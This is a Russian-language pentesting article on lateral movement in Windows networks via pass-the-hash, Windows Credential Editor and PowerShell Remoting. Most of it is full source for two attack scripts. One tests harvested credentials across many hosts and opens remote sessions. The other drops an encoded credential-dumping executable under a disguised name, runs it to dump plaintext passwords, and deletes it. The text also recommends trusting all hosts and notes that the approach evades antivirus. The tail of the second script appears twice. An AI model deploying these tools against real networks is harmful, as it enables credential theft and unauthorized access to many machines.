Манипуляции с хэшами при помощи PowerShell

Манипуляции с хэшами при помощи PowerShell

Что обычно делают пентестеры после получения хэшей (или данных об учетных записях)? Я задавал этот вопрос в процессе своего семинара на BlackHat Europe, и ответ на него таков: использовать утилиты наподобие psexec (независимо или совместно с metasploit) для повторного использования хэшей и получения доступа к большему числу машин. Это занятие можно сделать более забавным и успешным, если использовать Windows Credential Editor (WCE) в комбинации с Powershell.

image
Автор: Нихил «SamratAshok» Миттал (Nikhil "SamratAshok" Mittal)

Что обычно делают пентестеры после получения хэшей (или данных об учетных записях)? Я задавал этот вопрос в процессе своего семинара на BlackHat Europe, и ответ на него таков: использовать утилиты наподобие psexec (независимо или совместно с metasploit) для повторного использования хэшей и получения доступа к большему числу машин. Это занятие можно сделать более забавным и успешным, если использовать Windows Credential Editor (WCE) в комбинации с Powershell.

Обновлено: подобный сценарий пригоден в случае, если у вас есть сетевой доступ к другим компьютерам как при внутреннем пентесте.

Предположим, у нас имеется список хэшей и мы, используя эти данные и  WCE  с опциями –s и –c, можем открыть сессию powershell.

У этой сессии будут привилегии того пользователя, хэш которого использовался в WCE. Обратите внимание, мы не делаем ничего такого, что могло бы вызвать подозрение у антивирусов, поскольку используем только WCE и другие функции Windows.
Пока я писал эту статью, некто спросил меня в  твиттере , возможно ли перед использованием проверить на корректность хэши на множестве систем как в  Keimpx . Мое решение не позволяло этого сделать, и я создал скрипт Create-MultipleSessions.ps1, проверяющий учетные данные на множестве компьютеров посредством WMI-запроса (который получает IP-адреса в случае успешной аутентификации).
Вот исходник скрипта:

<#

.SYNOPSIS

Скрипт на фреймворке Nishang, проверяющий учетные записи и открывающий PSSessions-сессии в случае корректности данных.

.DESCRIPTION

Полезная нагрузка использует WMI (Windows Management Instrumentation) для проверки учетных записей на указанном списке компьютеров. Используйте параметр –Creds для указания конкретного логина и пароля. Если скрипт запущен внутри сессии powershell с правами локального или глобального администратора (или внутри сессии запущенной с хэшами подобных аккаунтов посредством WCE) запускайте скрипт без параметра –Creds. Используйте параметр –CreateSessions для создания PSSession-сессий.

.PARAMETER filename

Путь к файлу со списком серверов.

.PARAMETER Creds

Используйте этот параметр для указания конкретного имени пользователя (в формате домен\имя пользователя) и пароль.

.PARAMETER CreateSessions

Используйте этот параметр для создания PSSession-сессий с машинами, которым принадлежат учетные записи.

.PARAMETER VerboseErrors

Используйте этот параметр для получения подробных сообщений об ошибках.

.EXAMPLE

PS > .\Create-MultipleSessions -filename .\servers.txt

Команда выше использует учетные записи, доступные с текущей сессией powershell, и проверяет корректность аккаунтов по списку машин, указанных в servers.txt

.EXAMPLE

PS > .\Create-MultipleSessions -filename .\servers.txt -Creds

Команда выше спрашивает имя пользователя и пароль для проверки по списку машин.

.EXAMPLE

PS > .\Create-MultipleSessions -filename .\servers.txt -CreateSessions

Команда выше использует учетные записи, доступные с текущей сессией powershell, проверяет корректность аккаунтов по списку машин, указанных в servers.txt, и создает PSSession к этим машинам

.LINK


#>
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $filename,
[Switch] $Creds,
[Switch] $CreateSessions,
[Switch] $VerboseErrors)

function Create-MultipleSessions
{
$ErrorActionPreference = "SilentlyContinue"
if ($VerboseErrors)
{
$ErrorActionPreference = "Continue"
}
$servers = Get-Content $filename

if ($Creds)
{
$Creds = Get-Credential
$CheckCommand = 'gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True" -ComputerName $server -Credential $Creds'
$SessionCommand = 'New-PSSession -ComputerName $server -Credential $Creds'
}

else
{
$CheckCommand = 'gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True" -ComputerName $server'
$SessionCommand = 'New-PSSession -ComputerName $server'
}

foreach ($server in $servers)
{
$check = Invoke-Expression $CheckCommand
if($check -ne $null)
{
Write-Host "Credentials worked on $server !!" -ForegroundColor Green
if ($CreateSessions -eq $True)
{
"`nCreating Session for $server"
Invoke-Expression $SessionCommand
}
}
else
{
"Could not connect or credentials didn't work on $server"
}
}
if ($CreateSessions -eq $True)
{
Write-Host "`nFollowing Sessions have been created: " -ForegroundColor Green
Get-PSSession
}
}

Create-MultipleSessions

Ниже представлен скриншот, на котором показан пример работы скрипта на моих лабораторных системах.


Прекрасно! Мы получили пару рабочих хэшей. Если вы хотите передать их в скрипт, используйте параметр –Creds, и вам откроется диалоговое окно с предложением ввести данные об учетных записях.

Теперь, если на целевой машине разрешен Powershell Remoting, что, как правило, так и есть в современных Windows-средах (доступно по умолчанию для Server 2012), вы можете использовать эту возможность в своих целях. Так как наша и целевая машина не являются частью одного домена, мы должны добавить целевую машину в наш список TrustedHosts. Этот файл создан с целью предотвращения передачи учетных записей на мошеннический сервер. Просто давайте доверять всем и каждому :).


В окне powershell, открытом из wce, мы может использовать командлет Enter-PSSession для соединения с целевой машиной. По умолчанию только пользователи из локальной административной группы (Local Administrator Group) могут использовать Powershell Remoting.


Бинго! Теперь мы подняли интерактивную сессию с удаленной машиной, хотя хэши были использованы от имени локального администратора. Теперь мы можем порезвиться, используя  Nishang .

Ок. Интерактивный шелл на одном компьютере это, конечно, хорошо, но что если мы захотим создать сессии с несколькими машинами? Для этого вы можете использовать параметр –CreateSessions.


Мы можем использовать командлет Enter-PSSession для соединения с нужной сессией. Теперь мы хотим выполнить команду или скрипт на сотнях компьютеров. Для решения этой задачи в Powershell есть командлет Invoke-Command. Для выполнения какой-нибудь команды на множестве компьютеров используем сессию powershell, начатую в WCE.


Обратите внимание, что у нас есть успешно исполненный $env:COMPUTERNAME на двух компьютерах.

Invoke-Command также поддерживает параметр –Credentials.

У Invoke-Command есть еще один полезный параметр –FilePath. Используя его, вы можете запускать локальный скрипт на удаленных компьютерах (множество полезных нагрузок, доступных в Nishang, для реализации своих благих намерений ;).

Я создал еще одни скрипт Run-EXEonRemote, который загружает исполняемые файлы на удаленные машины и запускает их. К примеру, при помощи Run-EXEonRemote перенесем и запустим WCE на множестве машин для выгрузки паролей в виде обычного текста.


Вот исходник скрипта:

<#

.SYNOPSIS

Скрипт на фреймворке Nishang, который загружает и запускает исполняемые файлы на множестве удаленных компьютеров.

.DESCRIPTION

Скрипт следует использовать с параметром -FilePath команды Invoke-Command для загрузки и запуска исполняемых файлов на множестве удаленных компьютеров. Исполняемые файлы должны быть сконвертированы в текстовый формат (для этого используйте скрипт ExetoText, входящий в состав Nishang). По умолчанию WCE жестко прописан внутри скрипта. Требуется наличие доступа к удаленным машинам.

.PARAMETER VerboseErrors

Используйте этот параметр для получения подробных сообщений об ошибках.

.EXAMPLE

PS > Invoke-Command -FilePath .\Run-EXEonRemote.ps1 -ComputerName (Get-Content .\servers.txt)

Команда выше использует учетные записи, доступные с текущей сессией powershell, и запускает скрипт на множестве машин.

.LINK

#>

Param ([Switch] $VerboseErrors)

function Run-EXEonRemote
{
$ErrorActionPreference = "SilentlyContinue"
if ($VerboseErrors)
{
$ErrorActionPreference = "Continue"
}
#Provide 32 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump = ""
#Provide 64 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump64 = ""
$EXE = "$env:TEMP\svcaddr.exe"
if ([IntPtr]::Size -eq 8)
{
$hexdump = $hexdump64
}
[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("$EXE", $temp)
$cmd = "$EXE -w"
Invoke-Expression $cmd
start-sleep -Seconds 5
Remove-Item $EXE
}

Run-EXEonRemote

Хотите запускать исполняемые файлы в памяти, используя PowerShell? Некоторые умные люди  работают над этим .

Заметьте, что Execution Policy не является проблемой, если вы используете -Filepath с Invoke-Command до тех пор, пока в скрипте не используется конструкции наподобие Import-Module. Я не нашел способа обхода Execution Policy в этом случае. Однако все равно Execution Policy не является частью политики безопасности, а остается на усмотрение пользователя.

Invoke-Command также можно использовать для запуска скриптов как заданий (jobs) или используя параметр Session, так чтобы команды были структурированы. За более подробной информацией обращайтесь к документации Invoke-Command (команда help Invoke-Command). Система помощи PowerShell очень хороша и полезна.

Как мы видели, в случае доступности хэшей или данных об учетных записях лучше использовать PowerShell Remoting. Небольшой совет: используйте PowerShell v2. С PowerShell v3 иногда у меня возникали проблемы при соединении с машинами с v2. Не помог даже параметр –Version. Я не изучал подробно эту проблему, но думаю, что это может быть из-за изменений удаленного протокола.

Create-MultipleSessions и Run-EXEonRemote добавлены в  Nishang . Пожалуйста, обновите репозиторий.
Надеюсь, эта статья оказалась полезной для вас. Все замечания и пожелания оставляйте в комментариях.

.LINK


#>

Param ([Switch] $VerboseErrors)

function Run-EXEonRemote
{
$ErrorActionPreference = "SilentlyContinue"
if ($VerboseErrors)
{
$ErrorActionPreference = "Continue"
}
#Provide 32 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump = ""
#Provide 64 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump64 = ""
$EXE = "$env:TEMP\svcaddr.exe"
if ([IntPtr]::Size -eq 8)
{
$hexdump = $hexdump64
}
[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("$EXE", $temp)
$cmd = "$EXE -w"
Invoke-Expression $cmd
start-sleep -Seconds 5
Remove-Item $EXE
}

Run-EXEonRemote

Подписывайтесь на каналы "SecurityLab" в TelegramTelegram и Яндекс.ДзенЯндекс.Дзен, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.